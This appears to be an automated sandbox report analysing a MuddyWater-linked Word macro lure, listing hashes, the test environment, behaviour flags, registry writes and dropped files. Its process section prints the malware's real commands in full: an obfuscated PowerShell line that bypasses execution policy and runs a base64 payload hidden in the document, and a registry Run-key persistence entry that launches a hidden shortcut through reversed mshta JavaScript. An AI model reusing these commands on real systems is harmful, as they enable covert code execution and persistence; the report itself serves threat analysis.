Malware analysis muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b Malicious activity

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File name:	muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b
Full analysis:	https://app.any.run/tasks/9e465c46-911b-4b2f-82b5-0a896e1c87d3
Verdict:	Malicious activity
Analysis date:	February 11, 2019, 07:03:10
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Windows User, Template: Normal.dotm, Last Saved By: Windows User, Revision Number: 126, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:27:00, Create Time/Date: Sun Apr 22 19:20:00 2018, Last Saved Time/Date: Thu May 3 16:22:00 2018, Number of Pages: 1, Number of Words: 1, Number of Characters: 12, Security: 8
MD5:	FDB4B4520034BE269A65CFAEE555C52E
SHA1:	FE94BE7B44239BD1AFF24A436294031DD4A2D4C2
SHA256:	240B7D2825183226AF634D3801713B0E0F409EB3E1E48E1D36C96D2B03D8836B
SSDEEP:	6144:AjgH9Wf54/CnUGaWWN0fn4cyw8M3js3DcTQP2qrHUuibax71/xBoIf8/deaR8Tjn:AjW8atNXTDcTO23RY5JaI2EVa/Cr

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Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: off
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Changes the autorun value in the registry
  - reg.exe (PID: 2328)
SUSPICIOUS
- Creates files in the user directory
  - powershElL.exe (PID: 2924)
- Uses ATTRIB.EXE to modify file attributes
  - powershElL.exe (PID: 2924)
- Starts CMD.EXE for commands execution
  - powershElL.exe (PID: 2924)
- Uses REG.EXE to modify Windows registry
  - cmd.exe (PID: 3876)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2816)
- Creates files in the user directory
  - WINWORD.EXE (PID: 2816)

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title:	-
Subject:	-
Author:	Windows User
Keywords:	-
Comments:	-
Template:	Normal.dotm
LastModifiedBy:	Windows User
RevisionNumber:	126
Software:	Microsoft Office Word
TotalEditTime:	1.4 hours
CreateDate:	2018:04:22 18:20:00
ModifyDate:	2018:05:03 15:22:00
Pages:	1
Words:	1
Characters:	12
Security:	Locked for annotations
CodePage:	Windows Latin 1 (Western European)
Company:	-
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	12
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	-
HeadingPairs:	Title 1
CompObjUserTypeLen:	32
CompObjUserType:	Microsoft Word 97-2003 Document

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

2328

reg add hkcu\software\microsoft\windows\currentversion\run /v "prbclr" /d "mshta \"javascript:x=\";)(esolc.wodniw;)eslaf,0,\\\"knl.exe.dnspr\\\\RLC\\\\tfosorciM\\\\gnimaoR\\\\ataDppA\\\\nimda\\\\sresU\\\\:C\\\"(nuR.llehs;)\\\"llehs.tpircsw\\\"(tcejbOXevitcA!wen=llehs\".replace('!',' ').split('').reverse().join('');eval(x);\""

C:\Windows\system32\reg.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Registry Console Tool

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

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c:\windows\system32\reg.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll

2464

"C:\Windows\system32\attrib.exe" +h +s C:\Users\admin\AppData\Roaming\Microsoft\CLR

C:\Windows\system32\attrib.exe

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powershElL.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Attribute Utility

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

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c:\windows\system32\attrib.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ulib.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2816

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

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explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

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c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

2924

powershElL -EXEC bypASS -COmMaND "& {$pth='C:\Users\admin\AppData\Local\Temp\muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b.doc';$rt='';$Dt=geT-cOntEnt -patH $PTH -eNcoDInG aSCIi;FOrEach($I in $DT){iF ($I.Length -Gt 7700){$rt=$i.sPLIt('**')[2];BREak}};$rt=[syStEm.TExT.eNCODing]::asCII.gEtsTrIng([sysTEm.ConverT]::FROmbaSe64sTriNG($rT));IEX($RT);}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershElL.exe

—

wmiprvse.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

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c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3876

"C:\Windows\System32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /v "prbclr" /d "mshta \"javascript:x=\";)(esolc.wodniw;)eslaf,0,\\\"knl.exe.dnspr\\\\RLC\\\\tfosorciM\\\\gnimaoR\\\\ataDppA\\\\nimda\\\\sresU\\\\:C\\\"(nuR.llehs;)\\\"llehs.tpircsw\\\"(tcejbOXevitcA!wen=llehs\".replace('!',' ').split('').reverse().join('');eval(x);\""

C:\Windows\System32\cmd.exe

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powershElL.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

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Total events

1 439

Read events

982

Write events

452

Delete events

Modification events


(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	6=$
Value: 363D2400000B0000010000000000000000000000
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1313538078
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1313538192
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1313538193
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 000B0000F292EFE8D7C1D40100000000
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	k?$
Value: 6B3F2400000B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	k?$
Value: 6B3F2400000B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2816) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

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Dropped files

PID	Process	Filename		Type
2816	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR99B6.tmp.cvr		—
		MD5:—	SHA256:—
2924	powershElL.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N5L59MFF5GV52SJ80OB1.temp		—
		MD5:—	SHA256:—
2816	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd		tlb
		MD5:—	SHA256:—
2816	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
2924	powershElL.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2924	powershElL.exe	C:\Users\admin\AppData\Roaming\Microsoft\CLR\hst		text
		MD5:—	SHA256:—
2924	powershElL.exe	C:\Users\admin\AppData\Roaming\Microsoft\CLR\rprb		text
		MD5:—	SHA256:—
2924	powershElL.exe	C:\Users\admin\AppData\Roaming\Microsoft\CLR\invoker.ps1		text
		MD5:—	SHA256:—
2924	powershElL.exe	C:\Users\admin\AppData\Roaming\Microsoft\CLR\funk		text
		MD5:—	SHA256:—
2924	powershElL.exe	C:\Users\admin\AppData\Roaming\Microsoft\CLR\klg		text
		MD5:—	SHA256:—

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General Info

muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b

FDB4B4520034BE269A65CFAEE555C52E

FE94BE7B44239BD1AFF24A436294031DD4A2D4C2

240B7D2825183226AF634D3801713B0E0F409EB3E1E48E1D36C96D2B03D8836B

6144:AjgH9Wf54/CnUGaWWN0fn4cyw8M3js3DcTQP2qrHUuibax71/xBoIf8/deaR8Tjn:AjW8atNXTDcTO23RY5JaI2EVa/Cr

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Changes the autorun value in the registry

SUSPICIOUS

Creates files in the user directory

Uses ATTRIB.EXE to modify file attributes

Starts CMD.EXE for commands execution

Uses REG.EXE to modify Windows registry

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

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TRiD

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FlashPix

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